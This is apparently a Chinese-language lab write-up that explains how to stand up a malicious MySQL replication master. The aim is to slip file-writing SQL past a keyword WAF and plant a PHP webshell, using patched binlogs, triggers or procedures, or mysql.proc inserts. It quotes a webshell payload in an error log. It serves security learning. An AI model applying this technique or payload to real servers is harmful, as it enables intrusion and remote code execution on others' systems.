MySQL-构造恶意主从同步服务器
情景
我们可以让我们靶机的数据库执行我们提交的任意的 sql 语句,但是靶机过滤了 into ,outfile ,dumpfile 关键字。这样我们即使拿下了数据库的权限,也无法进一步拿下服务器的权限。
这篇文章围绕通过 构造恶意的 MySQL 主从服务器 ,来绕过 sql 语句的 waf (主要是过滤 上传文件 的关键字),从而通过数据库上传木马文件到服务器来进一步提权(这里假设靶机数据库的 secure_file_priv 是关闭的,靶机唯一的防线就是对 sql 语句的 waf )。
方式一:修改binlog文件
通过构造恶意的 MySQL 主从服务器,让靶机的 MySQL 同步我们攻击机 MySQL 执行的 sql 语句。这里通过修改 binlog 文件来实现同步恶意 sql 语句。
利用实验
环境搭建
攻击机 kali 的 IP 为:192.168.163.133
靶机 ubuntu 的 IP 为:192.168.163.129
用 Docker 在两台机器上搭建 MySQL 环境。
1 | docker run -id -p 3306:3306 --name=mysql_demo01 -e MYSQL_ROOT_PASSWORD=root mysql:8.0.27 |
然后在两台机器上执行下面的命令来安装 vim 。参考 MySQL主从同步
1 | apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 467B942D3A79BD29 |
然后将靶机的 secure_file_priv 参数修改为空,然后重启 MySQL 。
利用步骤
配置攻击机成为主从同步的master节点
配置攻击机,让其成为 MySQL 主从同步的 master 节点。
首先在 MySQL 的命令行执行下面的语句。
注意:
由于MySQL-8.0以上的默认密码认证方式是caching_sha2_password,而非mysql_native_password。如果我们这里不指定slave用户的密码认证方式是mysql_native_password,之后slave节点就会认证用户失败。报错信息是:error connecting to master 'slave_rep@192.168.163.133:3306' - retry-time: 60 retries: 8 message: Authentication plugin 'caching_sha2_password' reported error: Authentication requires secure connection.(如果靶机的MySQL版本在8.0以下就没这个问题了)
1 | # 创建slave_rep用户,密码是123456,可以任意ip段连接,并且指定密码认证方式是mysql_native_password |
然后修改攻击机 MySQL 的配置文件 my.cnf 。
这里又需要注意:
这里不能指定server-id=1,因为我们无法控制靶机的配置文件,因此无法为靶机配置server-id属性。因此靶机的server-id就为默认值1。如果我们这里攻击机的server-id也设置为1,后面靶机slave节点也无法成功连接攻击机master节点。报错信息是:Fatal error: The slave I/O thread stops because master and slave have equal MySQL server ids; these ids must be different for replication to work (or the --replicate-same-server-id option must be used on slave but this does not always make sense; please check the manual before using it).
1 | secure-file-priv= |
然后重启攻击机 MySQL 。
写入exp到攻击机的binlog文件
在攻击机的 MySQL 上创建一个数据库,创建成功后 binlog 文件就会自动导入创建这个数据库的 sql 语句。
需要注意的是:
这里sql语句的长度就决定了等下我们能写入的exp的长度,因为两个的长度需要相等才能绕过对binlog event正确性的检查。而数据库名称的长度是有限制的,因此我们最好尽量给sql语句多加一点参数,让其尽量长一点。从而让我们的exp也能够更长一些。
1 | create database if not exists zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_520_ci; |
接着我们在攻击机的 MySQL 执行 show master status 命令来查看攻击机当前的 binlog 文件名。

接着我们通过 xxd 命令查看一下的 mysql-bin.000003 文件来查看是否有上面我们刚刚执行的 sql 语句。
1 | xxd mysql-bin.000003 |
发现确实存在。

通过 mysqlbinlog 命令也可以说明成功写入了 sql 语句到 binlog 文件中。

然后我们使用 sed 命令来替换 mysql-bin.000003 文件中刚刚那个 sql 语句为 exp 。
1 | s/表示替换,/g表示全局替换 |
然后通过 mysqlbinlog 命令来查看这个文件,发现已经成功写入 select 语句了。

配置靶机成为攻击机的slave
执行下面的 sql ,让我们构造恶意 MySQL 服务器成为靶机的 master 节点。
1 | change master to master_host='192.168.163.133',master_user='slave_rep',master_password='123456',master_port=3306, |
这里
master_log_file的值就是上面我们在master节点上写入了exp的binlog文件(mysql-bin.000003),master_log_pos的值是上面我们写入exp的那个event块位置的开头字节号(at 227,而不是像我们正常配置主从同步集群的时候配置的是event块位置的结尾字节号,也就是end_log_pos,否则slave节点开始同步sql语句就会从exp的下一个event开始,而不会执行exp所在event的sql语句)。
PS:
我们设置的master_log_pos的值为多少,到时候slave节点连上master节点就会从哪个字节号开始执行sql语句。(master_log_pos的值必须是一个event块字节号的开头,不能在一个event块的中间。)
然后就可以成功执行 exp 了。
但是需要注意的是:
这里我示范写入的文件在原本数据库(zzzz.....)为名称的当前目录下(因为没有写绝对路径),因此其实上面如果一开始就在master节点上就先修改binlog,那么slave节点就无法同步创建zzzz....这个数据库,也就不会有zzzz....这个目录,我们在写入文件的时候就会报错找不到zzzz....这个目录。(我们虽然修改了sql语句,但是通过xxd命令查看binlog信息,会发现数据库的信息还是会存在,因此我猜测虽然我们篡改了binlog日志,让靶机不会同步创建原本应该创建的数据库,但是靶机还是会把上传的文件上传到这个应该原本创建的数据库的目录下)
因此其实这里应该先走正常的流程,不修改binlog文件,让slave节点创建了这个数据库。然后再修改binlog文件,再让slave节点同步操作。这样在写入木马的时候就不会报找不到目录的错误了。
但其实正常情况下,我们写入木马文件应该写绝对路径,因为当前路径的位置不好确定,不一定靶机的MySQL就存放在正常的位置。但是需要注意的是,MySQL运行时的用户权限较低,写绝对路径的时候可能会存在权限不足,写入不了目录的情况。

之所以我发现了上面的问题,是因为我刚开始不知道为什么木马一直写入不进去。通过 show slave status 命令会发现报错 Coordinator stopped because there were error(s) in the worker(s). The most recent failure being: Worker 1 failed executing transaction 'NOT_YET_DETERMINED' at master log mysql-bin.000003, end_log_pos 563. See error log and/or performance_schema.replication_applier_status_by_worker table for more details about this failure or others, if any. 。然后我们再通过报错信息查看 performance_schema.replication_applier_status_by_worker 表。发现 MySQL 有下面的报错信息:
1 | Worker 1 failed executing transaction 'NOT_YET_DETERMINED' at master log mysql-bin.000005, end_log_pos 903; Error 'Can't create/write to file '/var/lib/mysql/zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz/11111111x`111111111111111111111111111111111111111111111111111111111111111111111111.php' (OS errno 2 - No such file or directory)' on query. Default database: 'zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz'. Query: 'select '<?php eval($_POST[1]);echo 123;?>' into outfile '11111111111111111111111111111111111111111111111111111111111111111111111111111111.php'' |
因此我才发现了写入木马之前还是需要正常先创建好应该创建的数据库,不然就会没有 zzzz.... 这个数据库的信息目录。
方式二:创建trigger/function/procedure
冷知识:
trigger function procedure⾥可以存储select语句。
主从同步创建 trigger 或 function 或 procedure ,通过主从同步同步到靶机,然后在靶机上执⾏即可。
利用实验
方式二的实验开头和方式一一样,都是先配置攻击机成为主从同步的 master 节点。
但是第二步不是写入 exp 到攻击机的 binlog 文件,而是和靶机同步创建 trigger/function/procedure ,写入 exp 到 trigger/function/procedure 中。
这里我们就不重复上面方式一搭建主从同步的配置了,直接开始写入 exp 到 trigger/function/procedure 这一步。
当前环境:攻击机
192.168.163.133,靶机192.168.163.129,并且两个机器的MySQL已经成功搭建好了主从同步。
在攻击机执行下面的命令(任选一种),靶机会自动同步也执行下面的命令:
1 | # 使用trigger |
上面的命令任选一种方式执行完后(这里我使用的是第一种),我们会发现攻击机和靶机的 /tmp 命令下都成功写入了 exp 。

方式三:仅用insert语句写入webshell
原理
方式三和方式二的思路一样,也是创建 trigger/procedure/function ,但是不是通过常规的命令创建。而是通过写入 trigger/procedure/function 所存放在的表来创建他们。
需要注意的是,MySQL 8.0 之前的版本,存储过程是存放在 mysql.proc 表中的,并且这个表可以直接被修改,因此我们可以直接用 insert 写入存储过程。但是在 MySQL 8.0 之后,没有了 mysql.proc 表,trigger/procedure/function 都存放在 information_schema 数据库中,而 information_schema 数据库只能读取,不能修改,因此方式三就没办法用了。
补充:
MySQL-8.0之前,trigger存放在information_schema.TRIGGERS中,procedure和function不仅都存放在information_schema.ROUTINES中还存放在mysql.proc中,虽然information_schema数据库不能被修改,但是mysql.proc是用户可以修改的。而且mysql.proc数据库修改后information_schema数据库也会同步修改,因此我们就可以通过mysql.proc表来添加procedure/function。
MySQL-8.0之后,取消了mysql.proc表,上面information_schema库中的表没变。

利用实验
1 | insert into mysql.proc values ('a', 'exp', 'PROCEDURE', 'exp', 'SQL', 'CONTAINS_SQL', 'NO', 'DEFINER', '', '', 'BEGIN |

发现确实成功写入了 procedure 。

分析
通过前两种方式实验的对比(第三种方式归为第二种),发现其实第二种方式简单很多,其实第一种方式没什么实战意义,一般只会禁用 into ,outfile ,dumpfile ,这时直接用第二种方式就可以了。第一种只是用于多学会一种姿势技巧。如果在禁用了 into ,outfile ,dumpfile 关键字的基础上还禁用了 trigger ,function ,procedure ,call 关键字,就可以考虑使用第一种方式。
灵感来源题目
参考文章
1 | https://blog.csdn.net/wawa8899/article/details/86689618 |



